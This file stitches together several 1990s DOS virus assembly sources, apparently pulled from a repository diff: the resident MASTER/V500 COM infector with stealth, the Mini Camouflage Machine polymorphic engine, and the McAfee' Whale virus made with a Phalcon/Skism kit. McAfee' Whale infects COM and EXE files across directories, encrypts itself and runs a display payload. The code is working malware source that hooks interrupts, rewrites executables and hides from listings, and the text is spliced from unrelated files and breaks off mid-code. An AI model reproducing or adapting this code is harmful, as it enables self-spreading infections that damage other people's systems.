mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*",32,".COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?
; The End.
+308
View File
@@ -0,0 +1,308 @@
; (C) Copyright VirusSoft Corp. Sep., 1990
;
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
; virus, distributed by VirusSoft company . First version was made
; in May., 1990 . Please don't make any corections in this file !
;
; Bulgaria, Varna
; Sep. 27, 1990
ofs = 201h
len = offset end-ofs
call $+6
org ofs
first: dw 020cdh
db 0
pop di
dec di
dec di
mov si,[di]
dec di
add si,di
push cs
push di
cld
movsw
movsb
xchg ax,dx
mov ax,4b04h
int 21h
jnc residnt
xor ax,ax
mov es,ax
mov di,ofs+3
mov cx,len-3
rep movsb
les di,[6]
mov al,0eah
dec cx
repne scasb
les di,es:[di] ; Searching for the INT21 vector
sub di,-1ah-7
db 0eah
dw offset jump,0 ; jmp far 0000:jump
jump: push es
pop ds
mov si,[di+3-7] ;
lodsb ;
cmp al,68h ; compare DOS Ver
mov [di+4-7],al ; Change CMP AH,CS:[????]
mov [di+2-7],0fc80h ;
mov [di-7],0fccdh ;
push cs
pop ds
mov [1020],di ; int 0ffh
mov [1022],es
mov beg-1,byte ptr not3_3-beg
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
mov beg-1,byte ptr 0
mov [7b4h],offset pr7b4
mov [7b6h],cs ; 7b4
not3.3: mov al,0a9h ; Change attrib
cont: repne scasb
cmp es:[di],0ffd8h
jne cont
mov al,18h
stosb
push ss
pop ds
push ss
pop es
residnt: xchg ax,dx
retf ; ret far
;--------Interrupt process--------;
i21pr: push ax
push dx
push ds
push cx
push bx
push es
if4b04: cmp ax,4b04h
je rti
xchg ax,cx
mov ah,02fh
int 0ffh
if11_12: cmp ch,11h
je yes
cmp ch,12h
jne inffn
yes: xchg ax,cx
int 0ffh
push ax
test es:byte ptr [bx+19],0c0h
jz normal
sub es:[bx+36],len
normal: pop ax
rti: pop es
pop bx
pop cx
add sp,12
iret
inffn: mov ah,19h
int 0ffh
push ax
if36: cmp ch,36h ; -free bytes
je beg_36
if4e: cmp ch,4eh ; -find first FM
je beg_4b
if4b: cmp ch,4bh ; -exec
je beg_4b
if47: cmp ch,47h ; -directory info
jne if5b
cmp al,2
jae begin ; it's hard-disk
if5b: cmp ch,5bh ; -create new
je beg_4b
if3c_3d: shr ch,1 ; > -open & create
cmp ch,1eh ; -
je beg_4b
jmp rest
beg_4b: mov ax,121ah
xchg dx,si
int 2fh
xchg ax,dx
xchg ax,si
beg_36: mov ah,0eh ; change current drive
dec dx ;
int 0ffh ;
begin:
push es ; save DTA address
push bx ;
sub sp,44
mov dx,sp ; change DTA
push sp
mov ah,1ah
push ss
pop ds
int 0ffh
mov bx,dx
push cs
pop ds
mov ah,04eh
mov dx,offset file
mov cx,3 ; r/o , hidden
int 0ffh ; int 21h
jc lst
next: test ss:[bx+21],byte ptr 80h
jz true
nxt: mov ah,4fh ; find next
int 0ffh
jnc next
lst: jmp last
true: cmp ss:[bx+27],byte ptr 0fdh
ja nxt
mov [144],offset i24pr
mov [146],cs
les ax,[4ch] ; int 13h
mov i13adr,ax
mov i13adr+2,es
jmp short $
beg: mov [4ch],offset i13pr
mov [4eh],cs
;
not3_3: push ss
pop ds
push [bx+22] ; time +
push [bx+24] ; date +
push [bx+21] ; attrib +
lea dx,[bx+30] ; ds : dx = offset file name
mov ax,4301h ; Change attrib !!!
pop cx
and cx,0feh ; clear r/o and CH
or cl,0c0h ; set Infect. attr
int 0ffh
mov ax,03d02h ; open
int 0ffh ; int 21h
xchg ax,bx
push cs
pop ds
mov ah,03fh
mov cx,3
mov dx,offset first
int 0ffh
mov ax,04202h ; move fp to EOF
xor dx,dx
mov cx,dx
int 0ffh
mov word ptr cal_ofs+1,ax
mov ah,040h
mov cx,len
mov dx,ofs
int 0ffh
jc not_inf
mov ax,04200h
xor dx,dx
mov cx,dx
int 0ffh
mov ah,040h
mov cx,3
mov dx,offset cal_ofs
int 0ffh
not_inf: mov ax,05701h
pop dx ; date
pop cx ; time
int 0ffh
mov ah,03eh ; close
int 0ffh
les ax,dword ptr i13adr
mov [4ch],ax ; int 13h
mov [4eh],es
last: add sp,46
pop dx
pop ds ; restore DTA
mov ah,1ah
int 0ffh
rest: pop dx ; restore current drive
mov ah,0eh ;
int 0ffh ;
pop es
pop bx
pop cx
pop ds
pop dx
pop ax
i21cl: iret ; Return from INT FC
i24pr: mov al,3 ; Critical errors
iret
i13pr: cmp ah,3
jne no
inc byte ptr cs:activ
dec ah
no: jmp dword ptr cs:i13adr
pr7b4: db 2eh,0d0h,2eh
dw offset activ
; shr cs:activ,1
jnc ex7b0
inc ah
ex7b0: jmp dword ptr cs:[7b0h]
;--------
file: db "*",32,".COM"
activ: db 0
dw offset i21pr ; int 0fch
dw 0
cal_ofs: db 0e8h
end:
dw ? ; cal_ofs
i13adr: dw ?
dw ?
; The End.
File diff suppressed because it is too large Load Diff
+383
View File
@@ -0,0 +1,383 @@
.model tiny
codeseg
.8086
org 100h
; Mini Camofluge Machine v 0.62
; (c) 1997 by Pashkovsky Maxim [PARAFFiN]
;-----------------------------C-O-D-E----------------------------------------
LengthVirus equ (EndVir-Start)*2
;***********************I*N*T*S**********************************************
start:
i00: call CryptData
i01: call InitRandom
i02: call Infect
i03: mov ax,4C00h
i04: int 21h
;============================================================================
InitRandom proc near
i05: push es
i06: mov ax,0040h
i07: mov es,ax
i08: mov ax,es:[006ch]
i09: mov word ptr cs:[rseed],ax
i10: pop es
i11: ret
InitRandom endp
;============================================================================
Random proc near ; 16 bit Random number
i12: push cx
i13: push bx
i14: mov bx,word ptr cs:[rvalue]
i15: mov ax,word ptr cs:[rseed]
i16: rol ax,1
i17: sub ax,7
i18: xor ax,bx
i19: mov word ptr cs:[rvalue],ax
i20: mov word ptr cs:[rseed],bx
i21: mul dx ;(input value) * (delta)
i22: mov cx,-1
i23: cmp dx,cx ;verify divide will work
i24: jae @abort ;jmp if divide will not work
i25: div cx ;(input value) * (delta) / ffffh
i26: @abort: pop bx
i27: pop cx
i28: ret
Random endp
;============================================================================
VerifyAlloc proc near ; Verify place.
i29: push ax
i30: push cx
i31: mov ax,word ptr cs:[AddrPTR]
i32: mov bx,offset AddrTab
i33: sub ax,bx
i34: push dx ;<=¿
i35: mov cx,2AABh ; | divide ax by 6 = ax/6
i36: mul cx ; :
i37: mov cx,dx ; |
i38: pop dx ;<=Ù
i39: @vloop: mov ax,word ptr cs:[bx]
i40: cmp dx,ax
i41: jb @vnext
i42: add ax,word ptr cs:[bx+2]
i43: cmp dx,ax
i44: jb @verror
i45: @vnext: add bx,6
i46: loop @vloop
i47: clc
i48: jmp @vquit
i49: @verror: stc
i50: @vquit: pop cx
i51: pop ax
i52: ret
VerifyAlloc endp
;============================================================================
Jump proc near ; Make near jump (E9h opcode) to free random place.
i53: push ax
i54: mov bx,word ptr cs:[AddrPTR]
i55: mov word ptr cs:[bx],di
i56: mov word ptr cs:[bx+2],3
i57: mov word ptr cs:[bx+4],0
i58: add word ptr cs:[AddrPTR],6
i59: mov al,0E9h
i60: stosb
i61: @jnew: mov dx,0FFFDh
i62: call Random
i63: mov dx,di
i64: add dx,2
i65: add dx,ax
i66: cmp dx,offset code + LengthVirus - 10
i67: jae @jnew
i68: cmp dx,offset code
i69: jbe @jnew
i70: xor cx,cx
i71: mov bx,word ptr cs:[LenghtPTR]
i72: mov cl,byte ptr cs:[bx]
i73: add cx,3
i74: @jverify: call VerifyAlloc ; Verify place.
i75: jc @jnew
i76: inc dx
i77: loop @jverify
i78: @jend: stosw
i79: add di,ax
i80: pop ax
i81: ret
Jump endp
;============================================================================
JumpNear proc near ;Proc for adjust near jump.
i82: push ax
i83: mov bx,word ptr cs:[AddrPTR]
i84: mov word ptr cs:[bx],di ; Build table for near jumps.
i85: mov word ptr cs:[bx+2],2
i86: mov word ptr cs:[bx+4],si
i87: add word ptr cs:[AddrPTR],6
i88: movsb
i89: @jnnew: xor ax,ax
i90: mov dx,0FDh
i91: call Random
i92: cmp al,20
i93: jb @jnnew
i94: cbw
i95: mov dx,di
i96: inc dx
i97: add dx,ax
i98: cmp dx,offset code + LengthVirus - 10
i99: jae @jnnew
i100: cmp dx,offset code
i101: jbe @jnnew
i102: mov cx,3
i103: @jnverify: call VerifyAlloc ; Verify place.
i104: jc @jnnew
i105: inc dx
i106: loop @jnverify
i107: stosb
i108: push di
i109: add di,ax
i110: mov bx,word ptr cs:[AddrPTR]
i111: mov word ptr cs:[bx],di
i112: mov word ptr cs:[bx+2],3
i113: mov word ptr cs:[bx+4],0
i114: add word ptr cs:[AddrPTR],6
i115: mov al,0E9h
i116: stosb
i117: lodsb
i118: cbw
i119: push si
i120: add si,ax
i121: lodsb
i122: cmp al,0E9h
i123: jne @jnnext
i124: lodsw
i125: add si,ax
i126: inc si
i127: @jnnext: dec si
i128: mov bx,word ptr cs:[JumpPTR] ;Near jump table.
i129: mov word ptr cs:[bx],si
i130: mov word ptr cs:[bx+2],di
i131: add word ptr cs:[JumpPTR],4
i132: pop si
i133: pop di
i134: pop ax
i135: ret
JumpNear endp
;============================================================================
CallNear proc near ;Build addr table for near call.
i136: mov bx,word ptr cs:[JumpPTR]
i137: mov cx,si
i138: add cx,3 ;inc cx
i139: add cx,word ptr cs:[si+1]
i140: mov word ptr cs:[bx],cx
i141: mov word ptr cs:[bx+2],di
i142: inc word ptr cs:[bx+2]
i143: add word ptr cs:[JumpPTR],4
i144: ret
CallNear endp
;============================================================================
MoveInst proc near ;Move instruction on new place.
i145: cmp si,word ptr cs:[CryptMov] ; Verify CryptValue
i146: jne @NoValue
i147: mov word ptr cs:[OldCryptMov],si
i148: mov word ptr cs:[CryptMov],di
i149: jmp @NoCrypt
i150: @NoValue: cmp si,word ptr cs:[CryptChg] ; Verify ChangeCrypt
i151: jne @NoCrypt
i152: mov word ptr cs:[OldCryptChg],si
i153: mov word ptr cs:[CryptChg],di
i154: @NoCrypt: mov bx,word ptr cs:[LenghtPTR] ;====================
i155: xor cx,cx
i156: mov cl,byte ptr cs:[bx]
i157: mov bx,word ptr cs:[AddrPTR]
i158: mov word ptr cs:[bx],di ;Build table for instr.
i159: mov word ptr cs:[bx+2],cx
i160: mov word ptr cs:[bx+4],si
i161: add word ptr cs:[AddrPTR],6
i162: rep movsb
i163: ret
MoveInst endp
;============================================================================
Mutation proc near ;Main loop of mutation.
i164: mov si,offset start ; SI have OLD! code offset.
i165: mov di,offset code ; DI have NEW! code offset.
i166: mov ax,offset EndData-offset LenghtTab-1
i167: cld
i168: @m1: cmp byte ptr cs:[si],70h ;<=¿
i169: jb @m2 ; | jumps.
i170: cmp byte ptr cs:[si],7Fh ;<=Ù
i171: jbe @realloc
i172: @m2: cmp byte ptr cs:[si],0E0h
i173: jb @m3
i174: cmp byte ptr cs:[si],0E3h
i175: jbe @realloc
i176: @m3: cmp byte ptr cs:[si],0EBh ; short jump.
i177: je @realloc
i178: cmp byte ptr cs:[si],0E8h ; near call.
i179: jne @m4
i180: call CallNear
i181: @m4: cmp byte ptr cs:[si],0E9h ; NEAR JUMP !!!
i182: jne @mend
i183: mov bx,word ptr cs:[si+1]
i184: add si,3
i185: add si,bx
i186: jmp @m1
i187: @realloc: call JumpNear
i188: jmp @mnext
i189: @mend: call MoveInst
i190: @mnext: inc word ptr cs:[LenghtPTR]
i191: mov dx,di
i192: mov cx,3
i193: mov bx,word ptr cs:[LenghtPTR]
i194: add cl,byte ptr cs:[bx]
i195: @mjverify: call VerifyAlloc ; Verify place.
i196: jc @mjump
i197: inc dx
i198: loop @mjverify
i199: cmp dx,offset code + LengthVirus - 10
i200: jae @mjump
i201: push ax
i202: mov dx,3h
i203: call Random
i204: cmp al,1h
i205: pop ax
i206: jne @loop
i207: @mjump: call Jump
i208: @loop: dec ax
i209: jnz @m1 ;============================================
i210: mov dx,word ptr cs:[JumpPTR] ; Adjust address.
i211: mov bx,offset JumpTab
i212: sub dx,bx
i213: shr dx,1 ; div 4
i214: shr dx,1 ; <=Ù
i215: @mreall: mov di,offset AddrTab
i216: mov ax,word ptr cs:[bx]
i217: mov cx,word ptr cs:[AddrPTR]
i218: sub cx,di
i219: shr cx,1
i220: repnz scasw
i221: jcxz @merror
i222: mov ax,word ptr cs:[di-6]
i223: mov di,word ptr cs:[bx+2]
i224: sub ax,di
i225: sub ax,2
i226: stosw
i227: @merror: add bx,4
i228: dec dx
i229: jnz @mreall ;========================================
i230: mov word ptr cs:[LenghtPTR],offset LenghtTab
i231: mov word ptr cs:[AddrPTR],offset AddrTab
i232: mov word ptr cs:[JumpPTR],offset JumpTab
i233: mov dx,0FFFFh ; Adjust CryptValue.
i234: call Random
i235: mov bx,word ptr cs:[CryptMov]
i236: mov [bx+1],ax
i237: sub word ptr cs:[CryptMov],offset Code-100h
i238: mov bx,word ptr cs:[OldCryptMov]
i239: mov [bx+1],ax ;<===========================
i240: mov dx,0FFFFh ; Adjust ChangeValue.
i241: call Random
i242: mov bx,word ptr cs:[CryptChg]
i243: mov [bx+2],ax
i244: sub word ptr cs:[CryptChg],offset Code-100h
i245: mov bx,word ptr cs:[OldCryptChg]
i246: mov [bx+2],ax ;<===========================
i247: call CryptData ; Crypt.
i248: mov si,offset Data ; Move data.
i249: mov di,offset AddrTab ; NewData;
i250: mov cx,EndData-Data
i251: rep movsb
i252: ret
Mutation endp
;============================================================================
Infect proc near
i253: call Message
i254: mov dx,offset FileName ;Open File
i255: mov ah,3ch
i256: xor cx,cx
i257: int 21h
i258: mov word ptr cs:[FileHandle],ax
i259: call Mutation
i260: mov bx,word ptr cs:[FileHandle] ;Write Virus body
i261: mov cx,offset EndData - 100h ;offset JumpTab + 512 - 100h
i262: mov dx,offset Code
i263: mov ah,40h
i264: int 21h
i265: mov bx,word ptr cs:[FileHandle] ;Close file
i266: mov ah,3Eh
i267: int 21h
i268: ret
Infect endp
;============================================================================
Message proc near
i269: mov dx,offset Copyright
i270: mov ah,09h
i271: int 21h
i272: ret
Message endp
;============================================================================
CryptData proc near ; Crypt data body.
i273: mov cx,(EndData-Data)/2+1
i274: mov si,offset Data
i275: push si
i276: pop di
i277: CryptValue db 0BAh,?,? ;mov dx,??h
i278: @DeCrypt: lodsw
i279: xor ax,dx
i280: stosw
i281: ChangeValue db 81h,0C2h,?,? ;add dx,??h
i282: loop @DeCrypt
i283: ret
i284:
CryptData endp
;============================================================================
EndVir:
org LengthVirus+100h ;$+300h
;---------------------------------D-A-T-A------------------------------------
Data:
Copyright db '[MCMv0.62(c)Jul1997byPARAFFiN]','$'
FileName db 'test_mcm.com',0
LenghtPTR dw offset LenghtTab
AddrPTR dw offset AddrTab
JumpPTR dw offset JumpTab
CryptMov dw offset CryptValue
CryptChg dw offset ChangeValue
LenghtTab: ; Instruction lenght table.
db i01-i00,i02-i01,i03-i02,i04-i03,i05-i04,i06-i05,i07-i06,i08-i07,i09-i08,i10-i09
db i11-i10,i12-i11,i13-i12,i14-i13,i15-i14,i16-i15,i17-i16,i18-i17,i19-i18,i20-i19
db i21-i20,i22-i21,i23-i22,i24-i23,i25-i24,i26-i25,i27-i26,i28-i27,i29-i28,i30-i29
db i31-i30,i32-i31,i33-i32,i34-i33,i35-i34,i36-i35,i37-i36,i38-i37,i39-i38,i40-i39
db i41-i40,i42-i41,i43-i42,i44-i43,i45-i44,i46-i45,i47-i46,i48-i47,i49-i48,i50-i49
db i51-i50,i52-i51,i53-i52,i54-i53,i55-i54,i56-i55,i57-i56,i58-i57,i59-i58,i60-i59
db i61-i60,i62-i61,i63-i62,i64-i63,i65-i64,i66-i65,i67-i66,i68-i67,i69-i68,i70-i69
db i71-i70,i72-i71,i73-i72,i74-i73,i75-i74,i76-i75,i77-i76,i78-i77,i79-i78,i80-i79
db i81-i80,i82-i81,i83-i82,i84-i83,i85-i84,i86-i85,i87-i86,i88-i87,i89-i88,i90-i89
db i91-i90,i92-i91,i93-i92,i94-i93,i95-i94,i96-i95,i97-i96,i98-i97,i99-i98,i100-i99
db i101-i100,i102-i101,i103-i102,i104-i103,i105-i104,i106-i105,i107-i106,i108-i107,i109-i108,i110-i109
db i111-i110,i112-i111,i113-i112,i114-i113,i115-i114,i116-i115,i117-i116,i118-i117,i119-i118,i120-i119
db i121-i120,i122-i121,i123-i122,i124-i123,i125-i124,i126-i125,i127-i126,i128-i127,i129-i128,i130-i129
db i131-i130,i132-i131,i133-i132,i134-i133,i135-i134,i136-i135,i137-i136,i138-i137,i139-i138,i140-i139
db i141-i140,i142-i141,i143-i142,i144-i143,i145-i144,i146-i145,i147-i146,i148-i147,i149-i148,i150-i149
db i151-i150,i152-i151,i153-i152,i154-i153,i155-i154,i156-i155,i157-i156,i158-i157,i159-i158,i160-i159
db i161-i160,i162-i161,i163-i162,i164-i163,i165-i164,i166-i165,i167-i166,i168-i167,i169-i168,i170-i169
db i171-i170,i172-i171,i173-i172,i174-i173,i175-i174,i176-i175,i177-i176,i178-i177,i179-i178,i180-i179
db i181-i180,i182-i181,i183-i182,i184-i183,i185-i184,i186-i185,i187-i186,i188-i187,i189-i188,i190-i189
db i191-i190,i192-i191,i193-i192,i194-i193,i195-i194,i196-i195,i197-i196,i198-i197,i199-i198,i200-i199
db i201-i200,i202-i201,i203-i202,i204-i203,i205-i204,i206-i205,i207-i206,i208-i207,i209-i208,i210-i209
db i211-i210,i212-i211,i213-i212,i214-i213,i215-i214,i216-i215,i217-i216,i218-i217,i219-i218,i220-i219
db i221-i220,i222-i221,i223-i222,i224-i223,i225-i224,i226-i225,i227-i226,i228-i227,i229-i228,i230-i229
db i231-i230,i232-i231,i233-i232,i234-i233,i235-i234,i236-i235,i237-i236,i238-i237,i239-i238,i240-i239
db i241-i240,i242-i241,i243-i242,i244-i243,i245-i244,i246-i245,i247-i246,i248-i247,i249-i248,i250-i249
db i251-i250,i252-i251,i253-i252,i254-i253,i255-i254,i256-i255,i257-i256,i258-i257,i259-i258,i260-i259
db i261-i260,i262-i261,i263-i262,i264-i263,i265-i264,i266-i265,i267-i266,i268-i267,i269-i268,i270-i269
db i271-i270,i272-i271,i273-i272,i274-i273,i275-i274,i276-i275,i277-i276,i278-i277,i279-i278,i280-i279
db i281-i280,i282-i281,i283-i282,i284-i283,0;i285-i284,i286-i285,i287-i286,i288-i287,i289-i288,i290-i289
;db i291-i290,i292-i291,i293-i292,i294-i293,i295-i294,i296-i295,i297-i296,i298-i297,i299-i298,i300-i299
;db i301-i300,i302-i301,i303-i302,i304-i303,i305-i304,i306-i305,i307-i306,i308-i307,i309-i308,i310-i309
EndData:
; Official data.
RSeed dw ?
RValue dw ?
FileHandle dw ?
OldCryptMov dw ?
OldCryptChg dw ?
Code db LengthVirus dup(?)
AddrTab db 0B00h dup(?)
JumpTab db 300h dup(?)
end start
+507
View File
@@ -0,0 +1,507 @@
; McWhale.asm : [McAfee' Whale] by [pAgE]
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
;
; Here's another "lame dick" virus! I thought it was rather fitting!
; Many thanks to the fellows at Phalcon/Skism for this little tool.
; I am sure that Dark Angel and the bunch are not stopping here, but
; will come up with another innovation in Vx production...
;
; I have set this file to activate at a 40% chance on any day. Feel free
; to modify this program as you see fit or keep it as a novelty in its
; original form.
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'MO' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov bx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov si,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,04h ; add word ptr cs:[si], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc si ; calculate new decryption location
inc si
dec bx ; If we are not done, then
jnz decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ah ; Get current date
int 21h ;
;cmp dh,4 ; Check month
;jb exit_virus ;
;cmp dl,15 ; Check date
;jnz exit_virus ;
;mov ah,2ch ; Get current time
;int 21h
cmp dl,40 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate proc far
start:
jmp loc_1
data_1 db 0
data_2 dw 0
db 62h, 79h
db ' ABRAXAS - '
copyright db '(c) 1992 Abraxas Warez.'
db '.....................................BEWARE!!!............'
db '....................'
data_5 db 'Anti-Virus.....Man.....John.....McAfee.....wrote'
db '.....the.....WHALE.....virus!!!'
db '..............................HONEST!!!....................................$'
loc_1:
push si
push di
mov si,80h
cld ; Clear direction
call sub_1
cmp byte ptr [si],0Dh
je loc_4 ; Jump if equal
mov cx,28h
lea di,data_5 ; ('Attention: Please press ') Load ef
locloop_2:
lodsb ; String [si] to al
cmp al,0Dh
je loc_3 ; Jump if equal
stosb ; Store al to es:[di]
loop locloop_2 ; Loop if cx > 0
loc_3:
inc cx
mov al,2Eh ; '.'
rep stosb ; Rep when cx >0 Store al to es:[di]
loc_4:
pop di
pop si
mov ah,3
mov bh,0
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
mov data_2,cx
mov ah,1
mov cx,0F00h
int 10h ; Video display ah=functn 01h
; set cursor mode in cx
mov ah,2
mov dh,18h
mov dl,13h
int 10h ; Video display ah=functn 02h
; set cursor location in dx
loc_5:
mov data_1,0FFh
loc_6:
add data_1,1
mov bl,data_1
mov bh,0
mov cx,27h
call sub_2
locloop_7:
mov al,byte ptr copyright+20h[bx] ; ('.')
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
inc bx
call sub_3
mov dl,0FFh
mov ah,6
int 21h ; DOS Services ah=function 06h
; special char i/o, dl=subfunc
jnz loc_10 ; Jump if not zero
loop locloop_7 ; Loop if cx > 0
cmp byte ptr copyright+20h[bx],24h ; ('.') '$'
je loc_5 ; Jump if equal
jmp short loc_6
activate endp
sub_1 proc near
loc_8:
inc si
cmp byte ptr [si],20h ; ' '
je loc_8 ; Jump if equal
retn
sub_1 endp
sub_2 proc near
push ax
push bx
push cx
push dx
mov dx,si
mov cx,di
mov al,4
mov ah,0ch
int 10h
mov ah,2
mov dh,8h
mov dl,14h
mov cx,30
int 10h ; Video display ah=functn 02h
mov ah,10h
mov al,0
mov bl,4
mov bh,63
int 10h
pop dx
pop cx
pop bx
pop ax
retn
sub_2 endp
sub_3 proc near
push cx
mov cx,258h
locloop_9:
loop locloop_9 ; Loop if cx > 0
pop cx
retn
sub_3 endp
loc_10:
call sub_2
mov cx,4Fh
locloop_11:
mov al,20h ; ' '
mov ah,0Eh
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
loop locloop_11 ; Loop if cx > 0
mov ah,1
mov cx,data_2
int 10h ; Video display ah=functn 01h
int 20h ; DOS program terminate
jmp exit_virus
creator db '[MPC]',0 ; BIG SIGN!!!
virusname db "[McAfee' Whale]",0 ; That's it!!
author db '[pAgE]',0 ; Nah! Not me!<g>
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+35] ; Get tail of filename
cmp ax,'DN' ; Ends in ND? (commaND)
jz find_next
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
xor byte ptr [bp+decrypt_loop+2],028h ; flip between add/sub
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
